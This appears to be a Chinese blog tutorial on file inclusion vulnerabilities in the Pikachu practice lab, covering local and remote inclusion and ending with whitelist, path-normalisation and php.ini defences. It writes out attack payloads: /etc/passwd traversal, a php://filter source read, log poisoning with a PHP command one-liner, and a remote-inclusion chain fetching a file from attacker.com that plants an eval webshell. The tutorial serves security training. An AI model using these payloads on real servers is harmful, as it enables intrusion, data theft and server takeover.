Pikachu靶场-深入解析File Inclusion漏洞实战

张开发
2026/4/11 2:04:34 15 分钟阅读

分享文章

Pikachu靶场-深入解析File Inclusion漏洞实战
1. 文件包含漏洞初探从Pikachu靶场开始第一次接触文件包含漏洞是在三年前的一次渗透测试项目中当时客户系统因为一个简单的include($_GET[page])漏洞导致整个服务器沦陷。这种看似简单的漏洞往往最具破坏力而Pikachu靶场正是学习这类漏洞的绝佳实验环境。文件包含漏洞本质上是一种信任滥用问题。当开发者直接使用用户提供的参数来包含文件时就像把自家钥匙交给陌生人。在Pikachu靶场中我们可以清晰地看到两种典型漏洞形态本地文件包含(LFI)和远程文件包含(RFI)。LFI就像小偷在屋里翻箱倒柜而RFI则相当于让外人直接搬家具进你家。记得我第一次在Pikachu上尝试LFI攻击时通过简单的../../etc/passwd就读取到了系统用户信息这种直观的漏洞效果让人印象深刻。靶场特别设计了多个难度递增的关卡从基础的目录遍历到复杂的日志注入逐步引导学习者掌握漏洞利用技巧。对于刚入门的安全爱好者我建议先从LFI开始练习因为它的利用条件相对简单不需要额外的服务器配置。2. 本地文件包含(LFI)实战解析2.1 漏洞环境搭建与识别在Pikachu靶场的LFI实验环境中你会看到一个简单的文件选择界面。表面上看这是个正常的文件查看功能但仔细观察URL参数就会发现端倪。典型的漏洞URL形如fi_local.php?filenamefile1.php。我在测试时习惯先尝试修改参数值为../../../../etc/passwd如果返回系统用户信息基本可以确认存在LFI漏洞。实际操作中我更喜欢用Burp Suite的Intruder模块进行模糊测试。设置好攻击位置后加载一个包含常见敏感文件路径的字典比如/etc/passwd、/proc/self/environ等很快就能发现哪些系统文件可以被读取。有次测试中我意外发现可以通过包含Apache日志文件实现代码执行这让我意识到LFI的危害远不止信息泄露那么简单。2.2 高级利用技巧与案例当掌握了基础的文件读取后可以尝试更高级的利用方式。PHP的伪协议是个宝藏比如php://filter/convert.base64-encode/resourceindex.php可以读取PHP文件的base64编码内容避免直接包含导致的代码执行。我在一次真实渗透测试中就靠这个方法拿到了网站的配置文件。日志注入是另一个实用的技巧。通过User-Agent或Referer注入PHP代码再包含日志文件实现代码执行。在Pikachu靶场中你可以先发送一个包含?php system($_GET[cmd]);?的请求然后包含/var/log/apache2/access.log文件瞬间获得命令执行能力。记得有次我通过这个方法在目标服务器上弹了个反向shell整个过程行云流水。3. 远程文件包含(RFI)深度剖析3.1 RFI攻击条件与环境准备RFI比LFI更具威胁性但利用条件也更苛刻。PHP的allow_url_include选项必须开启这在现代PHP版本中默认是关闭的。Pikachu靶场很贴心地提供了配置检查功能会明确提示当前环境是否支持RFI。我通常会在本地搭建一个简易HTTP服务器来托管恶意脚本Python的http.server模块就足够用了。测试时发现一个有趣的现象即使目标服务器禁止执行PHP文件通过包含.txt后缀的远程文件有时也能绕过限制这是因为PHP会根据文件内容而非扩展名来决定是否解析。3.2 完整攻击链演示让我们模拟一个完整的RFI攻击场景。首先在攻击机上创建hack.txt内容为?php file_put_contents(shell.php, ?php eval($_POST[cmd]);?);?。启动HTTP服务后在靶场构造如下请求fi_remote.php?filenamehttp://attacker.com/hack.txt。成功执行后服务器上会生成webshell文件。这时再用蚁剑等工具连接就能获得完整的控制权限。我在教学演示时发现很多学员对RFI的实际危害缺乏直观认识直到看到通过一个URL参数就能完全控制服务器才真正重视起这个漏洞。4. 漏洞防御的实战经验4.1 代码层面的防护措施经过多次实战我总结出几个有效的防御方案。白名单验证是最可靠的方式就像我家只允许特定亲友进门一样。代码实现也很简单$allowed [about.php, contact.php]; if(!in_array($_GET[page], $allowed)) { die(非法访问); }路径规范化同样重要。有次代码审计时发现开发者虽然做了过滤但没处理多重./的情况导致防护被绕过。正确的做法是结合realpath()和basename()函数$file basename(realpath($_GET[page] . .php)); if(file_exists(pages/$file)) { include pages/$file; }4.2 服务器配置加固除了代码修复服务器配置也至关重要。我强烈建议设置open_basedir限制PHP的访问范围就像给PHP进程戴上GPS电子脚镣。在php.ini中添加open_basedir /var/www/html allow_url_include Off display_errors Off文件权限也不容忽视。Web用户应该只有必要的读权限特别是对/etc、/proc等敏感目录要严格限制。有次应急响应中发现攻击者通过LFI读取到了.env文件就是因为文件权限设置不当。5. 从靶场到实战的思考在Pikachu靶场练习时建议不要满足于完成基础挑战。尝试结合其他漏洞类型比如先通过文件上传漏洞放置恶意文件再用LFI包含执行。这种组合拳在实际渗透中非常常见。我遇到过一个真实案例网站限制了文件包含的目录但通过巧妙的路径遍历依然可以突破限制。后来发现是因为开发者只过滤了../却没考虑..\这种Windows风格的路径。这提醒我们安全防护必须考虑各种边界情况。对于开发者来说现代框架如Laravel已经内置了完善的安全机制能有效预防文件包含漏洞。但如果你在维护遗留系统定期进行代码审计就非常必要。我习惯用静态分析工具扫描所有包含include、require等关键字的代码重点检查这些参数是否受用户输入影响。

更多文章